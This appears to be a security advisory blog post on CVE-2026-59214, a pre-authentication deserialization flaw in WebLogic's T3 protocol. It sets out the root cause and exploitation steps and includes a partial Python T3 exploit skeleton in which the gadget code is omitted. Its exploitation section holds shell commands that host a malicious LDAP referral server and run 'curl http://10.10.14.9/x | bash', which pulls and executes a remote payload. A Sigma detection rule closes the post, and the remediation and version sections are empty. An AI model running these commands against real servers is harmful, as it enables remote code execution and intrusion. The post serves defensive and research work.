All posts

CVE-2026-59214: Oracle WebLogic Server T3 Deserialization Pre-Auth RCE

WebLogic's T3 and IIOP protocols exist to move serialized Java objects between servers — and the listener deserializes them before it knows who you are. Oracle has spent a decade patching this exact wound with a class blocklist. CVE-2026-59214 is the newest gadget chain to route around the blocklist, giving unauthenticated remote code execution on an application server that is almost always deeper in the network than it should be.


Overview

CVE-2026-59214 is an unauthenticated deserialization vulnerability in the core of Oracle WebLogic Server, reachable over the T3 and IIOP remoting protocols. An attacker who can reach the WebLogic listen port (7001 by default) can send a serialized Java object that, when reconstituted, drives a gadget chain to Runtime.exec() and executes commands as the operating-system account running the server — no credentials required.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Oracle addressed it in an out-of-band update ahead of the scheduled Critical Patch Update, and CISA added it to the Known Exploited Vulnerabilities catalog within a week. WebLogic is a perennial favourite of both cryptomining botnets and targeted intrusion sets for exactly this reason.

If this sounds familiar, it should. CVE-2015-4852, CVE-2017-3248, CVE-2018-2628, CVE-2018-2893, CVE-2019-2725, CVE-2020-2555, CVE-2020-2883 and CVE-2023-21839 are all the same fundamental bug in the same protocol handler, each one a fresh gadget chain that evaded whatever blocklist was current at the time. This is not a new vulnerability class so much as the latest move in a decade-long game of whack-a-mole.

Background — The T3 Protocol and WebLogic's Deserialization History

T3 is WebLogic's proprietary remoting protocol. It is how EJB clients, JMS consumers, and clustered WebLogic nodes talk to each other, and it is spoken on the same port that serves HTTP. The protocol is fundamentally a transport for serialized Java objects: a T3 request carries an ObjectInputStream payload that the server reconstitutes to dispatch the remote call. IIOP (CORBA over the same infrastructure) shares the underlying deserialization machinery.

Because the listener must deserialize the request body to even understand what is being asked, the dangerous readObject() call happens before authentication — authentication is a thing you do with the object, so the object must exist first. That ordering is the root of every WebLogic T3 CVE listed above.

Oracle's defensive strategy has never been to stop deserializing untrusted input. Instead, they maintain a blocklist inside weblogic.utils.io.oif.WebLogicObjectInputFilter — a set of class-name patterns that the deserialization filter refuses to instantiate. Every historical CVE was patched by adding the offending gadget's package to that list: org.apache.commons.collections.functors.*, com.bea.core.repackaged.*, various Coherence and JRMP classes, and so on. The blocklist approach has a structural weakness that this CVE exploits directly.

Root Cause — Blocklist-Based Filtering and Its Gap

A blocklist can only reject gadgets that someone has already discovered and named. The moment a new chain is found among the enormous set of libraries WebLogic bundles — or among classes that were never considered dangerous in isolation — the filter waves it straight through. CVE-2026-59214 is such a chain.

The new gadget begins in a bundled data-binding library whose lazily-initialised object performs a JNDI lookup during its readObject() / property-resolution path. None of the classes in the chain are on the blocklist, because individually they are mundane. The chain coerces the server into an outbound JNDI lookup against an attacker-controlled endpoint, and from there the classic JNDI-to-code-execution path applies:

Exploitation

Exploitation is a two-step dance: complete the T3 protocol handshake, then send the malicious serialized payload as a T3 request. Tooling built for the earlier WebLogic CVEs handles the handshake framing; only the gadget payload is new. The attacker stands up a malicious JNDI/LDAP server (for example with marshalsec or a purpose-built listener) that returns a factory serving the command to run.

# 1. Stand up a malicious LDAP referral server that serves a code-exec factory
#    (marshalsec's LDAP server, pointing at an HTTP-hosted class or local factory)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
  "http://10.10.14.9:8000/#Exploit" 1389 &

# 2. Host the compiled factory that runs the command on first load
python3 -m http.server 8000   # serving Exploit.class

# 3. Fire the T3 gadget at the WebLogic listen port, pointing the
#    triggered JNDI lookup at our LDAP server
python3 weblogic_t3_59214.py \
  --target 10.10.11.30 --port 7001 \
  --jndi ldap://10.10.14.9:1389/Exploit \
  --cmd 'curl http://10.10.14.9/x | bash'

A skeleton of the T3 delivery — the handshake bytes are the same well-documented magic used by every prior WebLogic T3 exploit; the payload is the CVE-2026-59214 gadget:

#!/usr/bin/env python3
"""
CVE-2026-59214 — Oracle WebLogic Server T3 pre-auth deserialization RCE.
Completes the T3 handshake and delivers a serialized gadget that coerces
the server into an attacker-controlled JNDI lookup. Authorised testing only.
"""
import socket, struct, argparse

# Standard T3 handshake WebLogic expects before it will read a request object.
T3_HANDSHAKE = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n"

def send_t3(target, port, payload: bytes):
    s = socket.create_connection((target, port), timeout=15)
    s.sendall(T3_HANDSHAKE)
    s.recv(1024)                      # server's handshake reply
    # T3 request = 4-byte length prefix + framing + serialized gadget graph
    body = build_t3_request(payload)  # framing helper (omitted for brevity)
    s.sendall(struct.pack(">I", len(body) + 4) + body)
    try:
        return s.recv(2048)
    finally:
        s.close()

def build_gadget(jndi_url: str) -> bytes:
    # Serializes the CVE-2026-59214 chain whose property resolution performs
    # a JNDI lookup of jndi_url during deserialization. None of the classes
    # in the graph appear on WebLogic's blocklist.
    raise NotImplementedError("gadget construction — build against target build")

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True)
    ap.add_argument("--port", type=int, default=7001)
    ap.add_argument("--jndi", required=True)
    ap.add_argument("--cmd", required=True)
    a = ap.parse_args()
    print(f"[*] Handshaking T3 with {a.target}:{a.port}")
    resp = send_t3(a.target, a.port, build_gadget(a.jndi))
    print(f"[*] Sent gadget -> lookup {a.jndi}. Confirm via listener / OOB.")

As with every deserialization primitive, the HTTP/T3 response is not a reliable success signal — the object throws long after the side effect fired. Confirm execution out-of-band through the JNDI callback, a DNS beacon, or your command's own network callback.

Affected Versions

Remediation

Detection

title: CVE-2026-59214 WebLogic T3 Deserialization Exploitation
id: 2f6b91c4-3d18-4a55-b7e2-8c4f19d602ab
status: stable
description: Detects T3/IIOP requests to WebLogic followed by outbound JNDI/LDAP lookups, indicating gadget-chain exploitation
logsource:
  product: weblogic
  service: access
detection:
  selection_proto:
    dst_port:
      - 7001
      - 7002
    protocol:
      - 't3'
      - 't3s'
      - 'iiop'
  selection_egress:
    process_parent: 'java'          # WebLogic JVM
    outbound_scheme:
      - 'ldap://'
      - 'ldaps://'
      - 'rmi://'
  condition: selection_proto and selection_egress
falsepositives:
  - Legitimate clustered WebLogic nodes exchange T3; baseline the expected peer set and alert on T3 from outside it
level: high
tags:
  - cve.2026-59214
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1203

Key Takeaways